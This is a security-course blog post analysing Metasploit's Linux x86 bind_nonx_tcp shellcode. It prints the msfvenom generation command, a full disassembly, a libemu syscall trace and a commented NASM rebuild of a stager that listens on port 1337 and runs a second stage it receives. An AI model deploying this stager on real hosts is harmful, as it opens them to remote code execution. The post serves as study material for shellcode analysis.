SLAE 5.3: linux/x86/shell/bind_nonx_tcp shellcode analysis



  1. Introduction
  2. Generate shellcode
  3. Analysis
  4. Conclusion
  5. Execute re-engineered shellcode

1. Introduction

In previous chapters we’ve looked into the meterpreter reverse tcp shell & the adduser shellcodes.
Today I am going to dig into the linux/x86/shell/bind_nonx_tcp shellcode to find the difference between the normal and the noNX payloads.

2. Generate shellcode

I am going to create the raw shellcode and shoot it through ndisasm to disassemble it:

msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337  -a x86 --platform Linux | ndisasm -u -
No encoder or badchars specified, outputting raw payload

00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  43                inc ebx
00000004  53                push ebx
00000005  6A02              push byte +0x2
00000007  6A66              push byte +0x66
00000009  58                pop eax
0000000A  99                cdq
0000000B  89E1              mov ecx,esp
0000000D  CD80              int 0x80
0000000F  96                xchg eax,esi
00000010  43                inc ebx
00000011  52                push edx
00000012  66680539          push word 0x3905
00000016  6653              push bx
00000018  89E1              mov ecx,esp
0000001A  6A66              push byte +0x66
0000001C  58                pop eax
0000001D  50                push eax
0000001E  51                push ecx
0000001F  56                push esi
00000020  89E1              mov ecx,esp
00000022  CD80              int 0x80
00000024  B066              mov al,0x66
00000026  D1E3              shl ebx,1
00000028  CD80              int 0x80
0000002A  52                push edx
0000002B  52                push edx
0000002C  56                push esi
0000002D  43                inc ebx
0000002E  89E1              mov ecx,esp
00000030  B066              mov al,0x66
00000032  CD80              int 0x80
00000034  93                xchg eax,ebx
00000035  B60C              mov dh,0xc
00000037  B003              mov al,0x3
00000039  CD80              int 0x80
0000003B  89DF              mov edi,ebx
0000003D  FFE1              jmp ecx

Looks familiar with it’s 4 0x66 system calls: It’s pretty much the same as the bind shell in section 1 of this blog except the last bit were it executes a second stage shellcode instead of /bin/shell.
Why don’t we pipe it through libemu to get pretty pictures?

msfvenom -p linux/x86/shell/bind_nonx_tcp LPORT=1337 -a x86 --platform Linux | /usr/bin/sctest -vvv -Ss 100000 -G
dot -Tpng -o msf_nonx_bind_shell.png

And here we have it:


Libemu also provides us with a high level syntax interpretation:

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fba => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 14597 (port=1337);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=;
             char sin_zero = "       ";
     int addrlen = 102;
) =  0;
int listen (
     int s = 14;
     int backlog = 4288442;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
     int addrlen = 0x00000000 => 
) =  19;

3. Analysis

libemu choked a bit at the end again but it visualizes the disassembly well enough to make sense of it at first glance.

I am going to copy and paste the disassembled code into it’s own source file and add some comments as I go (mostly some information from the relevant man pages of the system calls as well as from our favorite system call table):

; Filename: msf_non_bind_shell.nasm
; Author: Metasploit
; Analysed by Re4son 
; Purpose: Disassembly of msf linux/x86/shell/bind_nonx_tcp
;          for research purpose

global _start           

section .text


    ; --- socket - create an endpoint for communication ---
    ; int socket(int domain, int type, int protocol)

    xor    ebx,ebx	; zero out ebx
    push   ebx          ; push IPPROTO = 0
    inc    ebx
    push   ebx          ; push SOCK_STREAM=1
    push   0x2          ; push AF_INET=2
    push   0x66 	; put sys_socketcall
    pop    eax		;  into eax
    cdq			; zero out edx
    mov    ecx,esp	; store pointer to arguments in ecx
    int    0x80         ; invoke system call
    xchg   eax,esi	; store the socket file descriptor in esi

    ; --- bind - bind a name to a socket ---
    ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

    inc ebx	    	; increase the sub call function number to 2 for bind
    push edx        	; INADDR_ANY
    push word 0x3905	; port 1337 in little endian
    push word bx   	; AF_INET
    mov ecx, esp    	; store pointer to the structure in ecx
    push   0x66 	; put sys_socketcall
    pop    eax		;  into eax
    push eax         	; and use it as sizeof(struct sockaddr_in)
    push ecx        	; &serv_addr
    push esi        	; our socket descriptor
    mov ecx, esp    	; store pointer to arguments in ecx
    int 0x80        	; execute system call

    ; --- listen - listen for connections on a socket ---
    ; int listen(int sockfd, int backlog)
    mov al, 0x66   	; store sys_socketcall system call number in eax
    shl ebx,1		; increase ebx to 4 for listen sub function call number
    int 0x80        	; execute system call

    ; --- accept - accept a connection on a socket ---
    ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
    push edx        	; NULL addrlen
    push edx        	; NULL sockaddr
    push esi        	; sockfd
    inc ebx	    	; increase sub function number in bl to 5 for accept
    mov ecx, esp    	; store pointer to arguments in ecx
    mov eax, 0x66    	; store sys_socketcall system call number in eax
    int 0x80        	; execute system call
    xchg eax, ebx    	; store the new socket file descriptor in ebx for later

    ; --- read - read from a file descriptor (receive 2n stage shellcode)
    ; ssize_t read(int fd, void *buf, size_t count)
    ; note that ecx still points to our previous arguments on the stack
    ;   we will re-use that region as buffer
    mov    dh,0xc             ; set the size to 3072 bytes
    mov    al,0x3             ; move sys_read into al
    int    0x80               ; invoke read system call

    ; transfer execution to the second stage
    mov edi,ebx		      ; store socket file descriptor in edi
    jmp ecx		      ; execute second stage

There we have it. All explained in the source code.

The only really new bit in this code is the lack of initializing a buffer to receive the second stage shellcode.
We are simply overwriting the area of the stack that we used previously.

4. Conclusion

  • Regular shellcode is suitable for systems with data execution prevention by using mprotect to create an executable buffer.
  • NoNX shellcode omits this step in favor of size but the stack must be executable.

5. Execute re-engineered shellcode

Let’s run it to ensure that everything I did and said actually works:


Great. It all makes sense now.

All files are available on github.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student-ID: SLAE – 674


Leave a Reply